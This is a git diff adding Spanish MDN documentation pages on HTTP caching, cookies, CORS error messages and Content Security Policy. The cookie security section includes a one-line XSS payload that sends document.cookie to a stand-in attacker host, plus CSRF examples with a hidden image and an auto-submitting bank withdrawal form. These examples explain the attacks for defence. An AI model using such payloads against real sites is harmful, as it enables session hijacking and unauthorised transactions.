Una vez que un recurso se almacena en una caché, teóricamente podría ser servido por la caché para siempre. Las cachés tienen almacenamiento finito por lo que los elementos se eliminan periódicamente del almacenamiento. Este proceso se llama desalojo de caché. Por otro lado, algunos recursos pueden cambiar en el servidor, por lo que la memoria caché debe actualizarse. Como HTTP es un protocolo cliente-servidor, los servidores no pueden ponerse en contacto con cachés y clientes cuando cambia un recurso; tienen que comunicar un tiempo de caducidad para el recurso. Antes de este tiempo de expiración, el recurso está fresco; después de la fecha de caducidad, el recurso está obsoleto. Los algoritmos de desalojo a menudo privilegian recursos frescos sobre recursos obsoletos. Ten en cuenta que un recurso obsoleto no se desaloja ni se ignora; cuando la caché recibe una solicitud de un recurso obsoleto, reenvía esta solicitud con un {{HTTPHeader ("If-None-Match")}} para verificar si aún está fresco. Si es así, el servidor devuelve un encabezado {{HTTPStatus ("304")}} (No modificado) sin enviar el cuerpo del recurso solicitado, ahorrando algo de ancho de banda.

+ +

Aquí hay un ejemplo de este proceso con un proxy de caché compartido:

+ +

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+ +

La vida útil de la frescura se calcula en base a varios encabezados. Si se especifica un encabezado "Cache-control: max-age=N", entonces el tiempo de frescura es igual a N. Si este encabezado no está presente, que es el caso más frecuente, se verifica si hay un encabezado {{HTTPHeader("Expires")}} presente. Si existe un encabezado Expires, entonces su valor menos el valor del encabezado {{HTTPHeader("Date")}} determina el tiempo de actualización. Finalmente si ninguno de los encabezados está presente, busca un encabezado {{HTTPHeader("Last-Modified")}}. Si este encabezado está presente, la vida útil de actualización es igual al valor del encabezado Date menos el valor del encabezado Last-modified dividido entre 10.
+ El tiempo de expiración se calcula de la siguiente manera:

+ +
tiempoExpiración = tiempoResponsive + tiempoActualización - tiempoActual
+
+ +

donde tiempoResponsive es el tiempo en que se recibió la respuesta según el navegador.

+ +

Recursos acelerados

+ +

Cuanto más utilicemos los recursos en caché, mejor será la capacidad de respuesta y el rendimiento de un sitio web. Para optimizar esto, las buenas prácticas recomiendan establecer los tiempos de caducidad lo más lejos posible en el futuro. Esto es posible en los recursos que se actualizan regularmente o con frecuencia, pero es problemático para los recursos que rara vez se actualizan con poca frecuencia. Son los recursos que más se beneficiarían de los recursos de almacenamiento en caché, pero esto hace que sean muy difíciles de actualizar. Esto es típico de los recursos técnicos incluidos y vinculados desde cada página web: los archivos JavaScript y CSS cambian con poca frecuencia, pero cuando cambian, quieres que se actualicen rápidamente.

+ +

Los desarrolladores web crearon una técnica que Steve Souders llamó revving. Los archivos actualizados con poca frecuencia se nombran de forma específica: en su URL, generalmente en el nombre del archivo, se agrega un número de revisión (o versión). De esa manera, cada nueva revisión de ese recurso se considera como un recurso en sí mismo que nunca cambia y puede tener un tiempo de vencimiento muy lejano en el futuro, generalmente un año o incluso más. Para tener las nuevas versiones, se deben cambiar todos los enlaces a ellas, es el inconveniente de este método: complejidad adicional que generalmente es atendida por la cadena de herramientas utilizada por los desarrolladores web. Cuando los recursos variables cambian con poca frecuencia, inducen un cambio adicional a los recursos a menudo variables. Cuando se leen, también las nuevas versiones de las otras.

+ +

Esta técnica tiene un beneficio adicional: la actualización de dos recursos en caché al mismo tiempo no conducirá a la situación en la que la versión obsoleta de un recurso se usa en combinación con la nueva versión del otro. Esto es muy importante cuando los sitios web tienen hojas de estilo CSS o scripts JS que tienen dependencias mutuas, es decir, dependen entre sí porque se refieren a los mismos elementos HTML

+ +

+ +

La versión de revisión agregada a los recursos revisados ​​no necesita ser una cadena de revisión clásica como 1.1.3, o incluso un conjunto de números en crecimiento monótono. Puede ser cualquier cosa que evite colisiones, como un hash o una fecha.

+ +

Validación de caché

+ +

La revalidación se activa cuando el usuario presiona el botón de recargar. También se activa en la navegación normal  si la respuesta en caché incluye el encabezado "Cache-control: must-revalidate". Otro factor son las preferencias de validación de caché en el panel de preferencias Advanced->Cache. Hay una opción para forzar una validación cada vez que se carga un documento.

+ +

Cuando se alcanza el tiempo de caducidad de un documento almacenado en caché, se valida o se recupera nuevamente. La validación solo puede ocurrir si el servidor proporcionó un validador fuerte o un validador débil.

+ +

ETags

+ +

El encabezado de respuesta {{HTTPHeader("ETag")}} es un valor de agente opaco al usuario que se puede usar como un validador fuerte. Esto significa que un agente de usuario HTTP, como el navegador, no sabe qué representa esta cadena  y no puede predecir cual sería su valor. Si el encabezado de ETag fue parte de la respuesta para un recurso, el cliente puede emitir un {{HTTPHeader("If-None-Match")}} en el encabezado de futuras solicitudes, para validar el recurso almacenado en caché.

+ +

El encabezado de respuesta {{HTTPHeader("Last-Modified")}}  puede ser usado como un validador débil. Se considera débil porque solo tiene resolución de un segundo. Si el encabezado Last-Modified está presente en una respuesta, entonces el cliente puede emitir un encabezado de solicitud {{HTTPHeader("If-Modified-Since")}} para validar el documento almacenado en caché.

+ +

Cuando se realiza una solicitud de validación, el servidor puede ignorar la solicitud y la respuesta de validación con un {{HTTPStatus(200)}} OK, o puede devolver {{HTTPStatus(304)}} Not Modified (con el cuerpo vacío) para indicar al navegador que use su copia en caché. La última respuesta también puede incluir encabezados que actualizan el tiempo de caducidad del documento almacenado en caché.

+ +

Varias respuestas

+ +

El encabezado de respuesta {{HTTPHeader("Vary")}} determina cómo hacer coincidir los encabezados de solicitudes futuras para decidir si se puede usar una respuesta en caché en lugar se solicitar una nueva desde el servidor de origen.

+ +

Cuando una caché recibe una solicitud que puede ser satisfecha por una respuesta en caché que tiene un campo de encabezado Vary, no debe usar esa respuesta a menos que todos los campos de encabezado dominados por el encabezado Vary coincidan tanto en la solicitud original (en caché) como en la nueva solicitud.

+ +

The Vary header leads cache to use more HTTP headers as key for the cache.

+ +

Esto puede ser útil para servir contenido dinámicamente, por ejemplo. Cuando se utiliza el encabezado Vary: User-Agent, los servidores de almacenamiento en caché deben considerar al agente de usuario al decidir si se debe servir la página desde la memoria caché. Si distribuye contenido diferente a los usuarios móviles, puede ayudarlo a evitar que una memoria caché sirva erróneamente una versión de escritorio de su sitio para sus usuarios móviles. Además puede ayudar a Google y a otros motores de búsqueda a descubrir la versión móvil de una página, y también puede decirles que no se pretende ningún encubrimiento.

+ +
Vary: User-Agent
+ +

Debido a que el valor del encabezado {{HTTPHeader("User-Agent")}} es diferente ("varía") para los clientes móviles y de escritorio, los cachés no se usarán para servir contenido móvil por error a los usuarios de escritorio o viceversa.

+ +

Ver también

+ + diff --git a/files/es/web/http/cookies/index.html b/files/es/web/http/cookies/index.html new file mode 100644 index 0000000000..e5f1a46037 --- /dev/null +++ b/files/es/web/http/cookies/index.html @@ -0,0 +1,240 @@ +--- +title: HTTP cookies +slug: Web/HTTP/Cookies +tags: + - Almacenamiento + - Articulo sobre Cookies + - Cookies + - Datos + - Desarrollo web + - HTTP + - JavaScript + - Navegador + - Petición + - Protocolos + - Servidor + - privacidad + - seguimiento +translation_of: Web/HTTP/Cookies +--- +
{{HTTPSidebar}}
+ +

Una cookie HTTP, cookie web o cookie de navegador es una pequeña pieza de datos que un servidor envía a el navegador web del usuario. El navegador guarda estos datos y los envía de regreso junto con la nueva petición al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tienen su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesión de un usuario abierta. Las cookies permiten recordar la información de estado en vista a que el protocolo HTTP es un protocolo sin estado.

+ +

Las cookies se utilizan principalmente con tres propósitos:

+ +
+
Gestión de Sesiones
+
Inicios de sesión, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar
+
Personalización
+
Preferencias de usuario, temas y otras configuraciones
+
Rastreo
+
Guardar y analizar el comportamiento del usuario
+
+ +

Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la Web storage API (localStorage y sessionStorage) e IndexedDB.

+ +
+
+
+

Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el Inspector de Almacenamiento en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento.

+
+
+
+ +

Creando cookies

+ +

Al recibir una solicitud HTTP, un servidor puede enviar un encabezado {{HTTPHeader ("Set-Cookie")}} con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP {{HTTPHeader ("Cookie")}}. Se puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que limita el lugar donde se envía la cookie.

+ + + +

El encabezado de respuesta HTTP {{HTTPHeader ("Set-Cookie")}} envía las cookies del servidor al agente de usuario. Una cookie simple se establece así:

+ +
Set-Cookie: <nombre-cookie>=<valor-cookie>
+ +

Este encabezado del servidor le dice al cliente que almacene una cookie.

+ +
Note: Aquí se explica como usar el encabezado Set-Cookie en varias aplicaciones del lado del servidor: + + +
+ +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]
+ +

Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies almacenadas previamente al servidor utilizando el encabezado {{HTTPHeader ("Cookie")}}.

+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+ +

Cookies de sesión

+ +

La cookie creada anteriormente es una cookie de sesión: se elimina cuando el cliente se cierra, por que no se especificó una directiva Expires o Max-Age . Sin embargo, los navegadores web pueden usar la restauración de sesiones, lo que hace que la mayoría de las cookies de sesión sean permanentes, como si el navegador nunca se cerrara.

+ +

Cookies Permanentes

+ +

En lugar de expirar cuando el cliente se cierra, las cookies permanentes expiran en una fecha específica (Expires) o tras un periodo de tiempo específico (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+ +
+

Nota: Cuando se establece una fecha de expiración, la fecha y hora que se establece es relativa al cliente en el que se establece la cookie, no del servidor.

+
+ +

Cookies Secure y HttpOnly

+ +

Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo HTTPS. Incluso con Secure, no debería almacenarse nunca información sensible en la cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real. A partir de Chrome 52 y Firefox 52, los sitios inseguros (http:) no pueden establecer cookies con la directiva Secure.

+ +

Para prevenir ataques cross-site scripting ({{Glossary("XSS")}}), las cookies HttpOnly son inaccesibles desde la API de Javascript {{domxref("Document.cookie")}}; Solamente se envían al servidor. Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar disponibles para JavaScript, por lo que debería establecerse el flag HttpOnly.

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+ +

Alcance de las cookies

+ +

Las directivas Domain y Path definen el alcance de la cookie: a qué URLs deberían enviarse las cookies.

+ +

Domain especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma como valor por defecto el host del Document.location actual, excluyendo subdominios. Si se especifica Domain, los subdominios son siempre incluidos.

+ +

Por ejemplo, si se establece Domain=mozilla.org, las cookies se incluyen en subdominios como developer.mozilla.org.

+ +

Path indica una ruta URL que debe existir en la URL solicitada para enviar el header. El carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios también coincidirán.

+ +

Por ejemplo, si se establece Path=/docs estas rutas coincidirán:

+ + + +

Cookies SameSite {{experimental_inline}}

+ +

Las cookies SameSite permiten a los servidores requerir que una cookie no sea enviada con solicitudes cross-site (donde {{Glossary("Site")}} es definido por el dominio registrabe), lo que proporciona algo de protección contra ataques cross-site request forgery ({{Glossary("CSRF")}}).

+ +

Las cookies SameSite son relativamente nuevas y soportadas por los principales navegadores.

+ +

Aquí hay un ejemplo:

+ +
Set-Cookie: key=value; SameSite=Strict
+ +

El atributo same-site puede tomar uno de los dos valores (case-insensitive):

+ +
+
Strict
+
Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó desde una URL diferente que la URL del location actual, no se incluirá ninguna cookie etiquetada con el atributo Strict.
+
Lax
+
Si el atributo se establece en Lax, las cookies same-site se retienen en (sub)peticiones cross-site, tales como llamadas para cargar imágenes o frames, pero se enviarán cuando un usuario navegue a la URL desde un sitio externo, por ejemplo, siguiendo un enlace.
+
+ +

El comportamiento por defecto de este flag si no está establecido, o no está soportado por el navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.

+ +

Acceso desde JavaScript usando Document.cookie

+ +

También se pueden crear nuevas cookies via JavaScript usando la propiedad {{domxref("Document.cookie")}}, y si el flag HttpOnly no está establecido, también se puede acceder a las cookies existentes desde JavaScript.

+ +
document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"
+ +

Tenga en cuenta las cuestiones de seguridad en la siguiente sección Seguridad. Las cookies disponibles para JavaScript pueden ser robadas por medio de XSS.

+ +

Seguridad

+ +
+

Nunca se debe almacenar ni transmitir información confidecial o sensible mediante Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.

+
+ +

Secuestro de session y XSS

+ +

Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería social o la explotación de una vulnerabilidad {{Glossary("XSS")}} de la aplicación.

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+ +

El atributo cookie HttpOnly puede ayudar a mitigar este ataque evitando el acceso al valor de la cookie a través de JavaScript.

+ +

Cross-site request forgery (CSRF)

+ +

Wikipedia menciona buenos ejemplos para {{Glossary("CSRF")}}. En este caso, alguien puede incluir una imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en lugar de esto es realmente una solicitud de tu banco para retirar tu dinero:

+ +
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+ +

Ahora, si tu tienes una sesión iniciada en tu tu cuenta bancaria y las cookies permanecen siendo válidas (y no hay otra validación mas que esa), se realizará la transferencia desde tu cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que requieren una petición de tipo POST, se puede disparar un evento de tipo envío de formulario (posiblemente en un iframe invisible) cuando la página se carga:

+ +
<form action="https://bank.example.com/withdraw" method="POST">
+  <input type="hidden" name="account" value="bob">
+  <input type="hidden" name="amount" value="1000000">
+  <input type="hidden" name="for" value="mallory">
+</form>
+<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
+ +

Se presentan aquí algunas técnicas que se deberían usar para evitar que estas cosas ocurran:

+ + + +

Tracking and privacy

+ +

Third-party cookies

+ +

Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).

+ +

If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's cookie statement.

+ + + +

Do-Not-Track

+ +

There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.

+ + + +

Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.

+ +

In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.

+ +

For more, see this Wikipedia section and consult state laws for the latest and most accurate information.

+ +

Zombie cookies and Evercookies

+ +

A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.

+ + + +

See also

+ + diff --git a/files/es/web/http/cors/errors/corsdidnotsucceed/index.html b/files/es/web/http/cors/errors/corsdidnotsucceed/index.html new file mode 100644 index 0000000000..78038c007b --- /dev/null +++ b/files/es/web/http/cors/errors/corsdidnotsucceed/index.html @@ -0,0 +1,48 @@ +--- +title: 'Reason: CORS request did not succeed' +slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed +tags: + - CORS + - CORSNoTuvoExito + - Consola + - Error + - HTTP + - HTTPS + - Messages + - Reasons + - Security + - solución de problemas +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +
{{HTTPSidebar}}
+ +

Razón

+ +
Razón: La solicitud CORS no resultó exitosa
+
+ +

¿Qué salió mal?

+ +

El pedido {{Glossary("HTTP")}} que hace uso de CORS falló porque la conexión HTTP falló a nivel red o protocolo. El error no está relacionado directamente con CORS, pero es un error de red fundamental de algún tipo

+ +

En muchos casos, es causado por un complemento del navegador (Ej, un bloqueador de anuncios o un protector de privacidad) que bloquea la solicitud.

+ +

Otras causas posibles:

+ + + +
+
+ +

Véase también

+ + diff --git a/files/es/web/http/cors/errors/corsmissingalloworigin/index.html b/files/es/web/http/cors/errors/corsmissingalloworigin/index.html new file mode 100644 index 0000000000..321fbd965b --- /dev/null +++ b/files/es/web/http/cors/errors/corsmissingalloworigin/index.html @@ -0,0 +1,49 @@ +--- +title: 'Reason: CORS header ''Access-Control-Allow-Origin'' missing' +slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +tags: + - Cabeceras + - Seguridad +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +
{{HTTPSidebar}}
+ +

Motivo

+ +
Motivo: Hace falta la cabecera CORS 'Access-Control-Allow-Origin'
+ +

¿Qué salió mal?

+ +

A la respuesta de la solicitud {{Glossary("CORS")}} le falta la requerida cabecera {{HTTPHeader("Access-Control-Allow-Origin")}}, la cual se utiliza para determinar si el recurso puede o no ser accedido por el contenido dentro del origen actual.

+ +

Si el servidor está bajo su control, agregue el origen del sitio solicitado al conjunto de dominios con acceso permitido agregándolo al valor de la cabecera Access-Control-Allow-Origin.

+ +

Por ejemplo, para permitir a un sitio como https://amazing.site acceder al recurso usando CORS, la cabecera deberia ser:

+ +
Access-Control-Allow-Origin: https://amazing.site
+ +

También puede configurar un sitio para permitirle el acceso desde cualquier otro sitio usando el comodín "*". Solamente debería usar esto para APIs públicas. Las APIs privadas nunca deberían usar este comodín, en lugar de eso, se debería especificar un dominio o conjunto de dominios. Adicionalmente, el comodín solamente funciona para consultas con el atributo {{htmlattrxref("crossorigin")}}  establecido en "anonymous".

+ +
Access-Control-Allow-Origin: *
+ +
+

Advertencia: Utilizar el comodín para permitir que todos los sitios accedan a una API privada es una mala idea.

+
+ +

Para permitir que cualquier sitio realice peticiones CORS sin usar el comodín * (por ejemplo, para activar credenciales), su servidor deberá leer el valor la cabecera Origin de la petición y usar dicho valor para Access-Control-Allow-Origin y además declarar una cabecera Vary: Origin para indicar que algunas cabeceras están siendo dinámicamente declaradas dependiendo del origen.

+ +

El protocolo para administrar estas cabeceras depende de tu servidor web. Por ejemplo, en Apache, agrega una línea como la siguiente a la configuración del servidor (Con las secciones <Directory>, <Location>, <Files> o <VirtualHost> apropiadas). La configuración, suele encontrarse en un archivo .conf (httpd.conf y apache.conf son nombres comunes para este tipo de archivos), o en un archivo .htaccess.

+ +
Header set Access-Control-Allow-Origin 'origin-list'
+ +

Para Nginx, el comando para configurar esta cabecera es:

+ +
add_header 'Access-Control-Allow-Origin' 'origin-list"
+ +

Vea tambien

+ + diff --git a/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html b/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html new file mode 100644 index 0000000000..b27a103689 --- /dev/null +++ b/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html @@ -0,0 +1,34 @@ +--- +title: >- + Reason: Credential is not supported if the CORS header + ‘Access-Control-Allow-Origin’ is ‘*’ +slug: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials +translation_of: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials +--- +
{{HTTPSidebar}}
+ +

Reason

+ +
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’
+ +

What went wrong?

+ +

The {{Glossary("CORS")}} request was attempted with the credentials flag set, but the server is configured using the wildcard ("*") as the value of {{HTTPHeader("Access-Control-Allow-Origin")}}, which doesn't allow the use of credentials.

+ +

To correct this problem on the client side, simply ensure that the credentials flag's value is false when issuing your CORS request.

+ + + +

If, instead, you need to adjust the server's behavior, you'll need to change the value of Access-Control-Allow-Origin to grant access to the origin from which the client is loaded.

+ +

See also

+ + diff --git a/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html new file mode 100644 index 0000000000..bde76104f7 --- /dev/null +++ b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html @@ -0,0 +1,27 @@ +--- +title: 'Reason: CORS preflight channel did not succeed' +slug: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed +translation_of: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed +--- +
{{HTTPSidebar}}
+ +

Razón

+ +
Razón: El canal de verifiación CORS no tuvo éxito.
+ +

¿Qué salió mal?

+ +

The {{Glossary("CORS")}} requiere verificación previa, la verificación previa no pudo realizarse. Hay un par de razones por las cuales la verificación previa puede fallar:

+ + + +

Véase también

+ + diff --git a/files/es/web/http/cors/errors/corsrequestnothttp/index.html b/files/es/web/http/cors/errors/corsrequestnothttp/index.html new file mode 100644 index 0000000000..49d3bbb0b6 --- /dev/null +++ b/files/es/web/http/cors/errors/corsrequestnothttp/index.html @@ -0,0 +1,25 @@ +--- +title: 'Reason: CORS request not HTTP' +slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp +translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp +--- +
{{HTTPSidebar}}
+ +

Razón

+ +
Reason: CORS request not HTTP
+ +

¿Qué está mal?

+ +

{{Glossary("CORS")}} Las peticiones solo pueden usar el esquema de direcciones  HTTPS , pero la dirección especificada por la petición es de un tipo diferente. Esto a menudo ocurre si la petición especifica un archivo local, usando una dirección file:///.

+ +

Para resolver este problema, simplemente asegúrate de usar direciones HTTPS cuando el emisor involucre CORS.

+ +

Ver también

+ + diff --git a/files/es/web/http/cors/errors/index.html b/files/es/web/http/cors/errors/index.html new file mode 100644 index 0000000000..d1dd12dc75 --- /dev/null +++ b/files/es/web/http/cors/errors/index.html @@ -0,0 +1,76 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - NeedsTranslation + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +
{{HTTPSidebar}}
+ +

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) is a standard that allows a server to relax the same-origin policy. This is used to explicitly allow some cross-origin requests while rejecting others. For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.

+ +

If the CORS configuration isn't setup correctly, the browser console will present an error like "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.

+ +

Identifying the issue

+ +

To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:

+ +
    +
  1. Navigate to the web site or web app in question and open the Developer Tools.
    2. +
  2. Now try to reproduce the failing transaction and check the console if you are seeing a CORS violation error message. It will probably look like this:
    3. +
+ +

Firefox console showing CORS error

+ +

The text of the error message will be something similar to the following:

+ +
Cross-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at https://some-url-here. (Reason:
+additional information here).
+ +
+

Note: For security reasons, specifics about what went wrong with a CORS request are not available to JavaScript code. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.

+
+ +

CORS error messages

+ +

Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.

+ + + +

See also

+ + diff --git a/files/es/web/http/csp/index.html b/files/es/web/http/csp/index.html new file mode 100644 index 0000000000..c01d4c28c2 --- /dev/null +++ b/files/es/web/http/csp/index.html @@ -0,0 +1,198 @@ +--- +title: Content Security Policy (CSP) +slug: Web/HTTP/CSP +tags: + - Política de Seguridad del Contenido +translation_of: Web/HTTP/CSP +--- +
{{HTTPSidebar}}
+ +

Política de Seguridad del Contenido o ( {{Glossary("CSP")}} ) - del inglés Content Security Policy - es una capa de seguridad adicional que ayuda a prevenir y mitigar algunos tipos de ataque, incluyendo Cross Site Scripting ( {{Glossary("XSS")}} ) y ataques de inyección de datos. Estos ataques son usados con diversos propósitos, desde robar información hasta desfiguración de sitios o distribución de malware .

+ +

CSP está diseñado para ser completamente retrocompatible (excepto la versión 2 de CSP, donde hay algunas menciones explícitas de inconsistencia en la retrocompatibilidad; más detalles aquí sección 1.1).  Los navegadores que no lo soportan siguen funcionando con los servidores que lo implementan y viceversa: los navegadores que no soportan CSP simplemente lo ignoran, funcionando como siempre y delegando a la política mismo-origen para contenido web. Si el sitio web no ofrece la cabecera CSP, los navegadores igualmente usan la política estándar mismo-origen.

+ +

Para habilitar CSP, necesitas configurar tu servidor web para que devuelva la cabecera HTTP {{HTTPHeader("Content-Security-Policy")}} (en ocasiones verás menciones de la cabecera X-Content-Security-Policy, pero se trata de una versión antigua y no necesitas especificarla más).

+ +

Alternativamente, el elemento {{HTMLElement("meta")}} puede ser usado para configurar una política, por ejemplo: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

+ +

Amenazas

+ +

Mitigando el cross site scripting

+ +

El principal objetivo del CSP es mitigar y reportar ataques XSS. Los ataques XSS se aprovechan de la confianza del navegador en el contenido que recibe del servidor. El navegador de la víctima ejecutará los scripts maliciosos porque confía en la fuente del contenido, aun cuando dicho contenido no provenga  de donde se supone.

+ +

CSP hace posible que los  administradores de servidores reduzcan o eliminen las posibilidades de ocurrencia de XSS mediante la especificación de dominios que el navegador considerará como fuentes válidas de scripts ejecutables. Un navegador compatible con  CSP solo ejecutará scripts de los archivos fuentes especificados en esa lista blanca de dominios, ignorando completamente cualquier otro script (incluyendo los scripts inline y los atributos de HTML de manejo de eventos).

+ +

Como medida extrema de protección, los sitios que nunca requieran ejecutar scripts, pueden optar por rechazar globalmente la ejecución de scripts.

+ +

Mitigando los ataques de análisis de paquetes (packet sniffing attacks)

+ +

Además de restringir los dominios desde los cuales se puede cargar el contenido, el servidor puede especificar qué protocolos se pueden usar; por ejemplo (e idealmente, desde un punto de vista de seguridad), un servidor puede especificar que todo el contenido debe cargarse utilizando HTTPS. Una estrategia completa de seguridad en la transmisión de datos incluye no solo aplicar HTTPS para la transferencia de datos, sino también marcar todas las cookies con el indicador de seguridad y proporcionar redirecciones automáticas desde las páginas HTTP a sus homólogas HTTPS. Los sitios también pueden usar la cabecera HTTP      {{HTTPHeader ("Strict-Transport-Security")}} para garantizar que los navegadores se conecten a ellos solo a través de un canal cifrado.

+ +

Utilizando CSP

+ +

La configuración de la Política de Seguridad del Contenido (CSP), consiste en agregar a una página web la cabecera HTTP {{HTTPHeader("Content-Security-Policy")}}, y darle valores para controlar los recursos que el agente de usuario puede cargar para esa página. Por ejemplo, una página que carga y muestra imágenes podría permitir imágenes desde cualquier lugar, pero pudiera restringir una acción de formulario a una ruta específica. Una Política de Seguridad de Contenido adecuadamente diseñada ayuda a proteger una página contra un ataque de scripts entre sitios. Este artículo explica cómo construir dichas cabeceras correctamente y proporciona ejemplos.

+ +

Especificando una política

+ +

Para especificar una política, se puede utilizar la cabecera HTTP      {{HTTPHeader("Content-Security-Policy")}}  de la siguiente manera:

+ +
Content-Security-Policy: política
+ +

La política es una cadena de caracteres que contiene las directivas que describen una determinada Política de Seguridad de Contenido.

+ +

Describiendo una política

+ +

Una política se describe utilizando una serie de directivas de políticas, cada una de las cuales describe la política para un determinado tipo de recurso o área de política. Una política debe incluir una directiva de políticas {{CSP ("default-src")}}, que es una alternativa para otros tipos de recursos cuando no tienen políticas propias (para obtener una lista completa, consulte la descripción de la directiva {{CSP("default-src")}} ). Una política debe incluir una directiva   {{CSP ("default-src")}} o {{CSP ("script-src")}} para evitar la ejecución de scripts en línea, así como bloquear el uso de eval(). Una política debe incluir una directiva {{CSP ("default-src")}} o {{CSP ("style-src")}} para restringir la aplicación de estilos en línea desde un elemento {{HTMLElement ("style")}}} o un atributo style.

+ +

Ejemplos: Casos de usos frecuentes

+ +

Esta sección proporciona ejemplos de algunos escenarios frecuentes de políticas de seguridad.

+ +

Ejemplo 1

+ +

Un administrador del sitio web desea que todo el contenido provenga del mismo origen que el del sitio (esto excluye subdominios).

+ +
Content-Security-Policy: default-src 'self'
+ +

Ejemplo 2

+ +

